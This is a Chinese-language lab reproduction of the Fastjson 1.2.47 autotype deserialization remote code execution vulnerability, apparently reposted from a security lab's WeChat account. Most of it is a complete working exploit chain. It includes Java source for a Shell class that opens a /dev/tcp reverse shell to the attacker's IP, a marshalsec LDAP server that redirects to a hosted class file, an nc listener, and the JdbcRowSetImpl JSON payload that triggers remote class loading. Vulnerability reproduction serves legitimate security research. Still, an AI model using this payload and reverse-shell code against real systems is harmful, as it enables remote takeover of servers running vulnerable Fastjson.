漏洞介绍
fastjson 是阿里巴巴的开源JSON解析库,它可以解析 JSON 格式的字符串,支持将 JavaBean 序列化为JSON 字符串,也可以从JSON 字符串反序列化到JavaBean。
首先,Fastjson提供了autotype功能,允许用户在反序列化数据中通过“@type”指定反序列化的类型,其次,Fastjson自定义的反序列化机制时会调用指定类中的setter方法及部分getter方法,那么当组件开启了autotype功能并且反序列化不可信数据时,攻击者可以构造数据,使目标应用的代码执行流程进入特定类的特定setter或者getter方法中,若指定类的指定方法中有可被恶意利用的逻辑(也就是通常所指的“Gadget”),则会造成一些严重的安全问题。并且在Fastjson 1.2.47及以下版本中,利用其缓存机制可实现对未开启autotype功能的绕过。
漏洞范围
Fastjson版本<=1.2.47
测试环境
靶 机:centos8 IP:192.168.101.122
攻击机:kali-2019.4 IP:192.168.101.50
漏洞复现
环境搭建
-
Centos8和kali分别安装jdk
Jdk下载地址:
https://pan.baidu.com/s/1nI-JT93vjcA9--7fb0fhqw&shfl=shareset 提取码: sven
解压:
tar -zxvf jdk-8u181-linux-x64.tar.gz
修改环境变量:
vi ~/.bashrc
在文件末尾加入一下内容:
export JAVA_HOME=/xxx/xxx/jdk1.8.0_181 #xxx为上面jdk解压目录
export JRE_HOME=${JAVA_HOME}/jre
export CLASSPATH=.:${JAVA_HOME}/lib:${JRE_HOME}/lib
export PATH=${JAVA_HOME}/bin:$PATH
是环境变量马上生效:
source ~/.bashrc
查看java版本,查看是否生效:
java -version
2.Centos8安装Tomcat
Tomcat下载地址
https://mirrors.tuna.tsinghua.edu.cn/apache/tomcat/tomcat-9/v9.0.50/bin/apache-tomcat-9.0.50.tar.gz
解压Tomcat:
tar apache-tomcat-9.0.50.tar.gz
启动Tomcat:
进入Tomcat解压目录下的bin执行
./catalina.sh start
3.Centos8部署fastjson1.2.47
下载地址:
https://github.com/alibaba/fastjson.git
将fastjson解压放入Tomcat下的webapps下
git clone –depth=1 https://github.com/alibaba/fastjson.git
浏览器访问192.168.101.122/fastjson
Fastjson部署成功
4.编译Shell.java
新建Shell.java文件,文件中写入一下内容
import java.io.BufferedReader;
import java.io.BufferedReader;
import java.io.InputStream;
import java.io.InputStreamReader;
public class Shell{
public Shell() throws Exception {
Process p = Runtime.getRuntime().exec(new String[]{"/bin/bash","-c","exec 5<>/dev/tcp/192.168.101.50/6666;cat <&5 | while read line; do $line 2>&5 >&5; done"});
InputStream is = p.getInputStream();
BufferedReader reader = new BufferedReader(new InputStreamReader(is));
String line;
while((line = reader.readLine()) != null) {
System.out.println(line);
}
p.waitFor();
is.close();
reader.close();
p.destroy();
}
public static void main(String[] args) throws Exception {
}
}
编译Shell.java:
javac Shell.java
编译后在当前目录下生成Shell.class文件
5.Kali中使用python搭建临时web服务
python -m SimpleHTTPServer 1111
此步是为了接收LDAP服务重定向请求,需要在payload的目录下开启此web服务,这样才可以访问到payload文件
6.Kali下载marshalsec
下载地址:
https://github.com/mbechler/marshalsec.git
下载marshalsec
git clone –depth=1 https://github.com/mbechler/marshalsec.git
mvn打包:
进入marshalsec目录下执行
mvn clean package -DekipTests
7.Kali使用marshalsec开启LDAP服务监听
切换到marshalsec下的target目录下执行以下命令:
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://192.168.101.50:1111/#Shell 9999
使用marshalsec工具快捷的开启LDAP服务。借助LDAP服务将LDAPreference result 重定向到web服务器。LDAP动态类加载,如果当前JVM中没有某个类的定义,它可以从远程URL去下载这个类的class,动态加载的对象class文件可以使用Web服务的方式进行托管。
8.Kali开启nc监听
nc监听Shell.java中端口
nc -lvvp 6666
9.构造请求包反弹shell
访问http://192.168.101.122/fastjson使用火狐浏览器构造POST请求包,POST请求内容如下:
{
"name":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"x":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"ldap://192.168.101.50:9999/Shell",
"autoCommit":true
}
}
请求成功后成功反弹shell
原文始发于微信公众号(赛瑞攻防实验室):Fastjson 1.2.47 命令执行漏洞复现
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论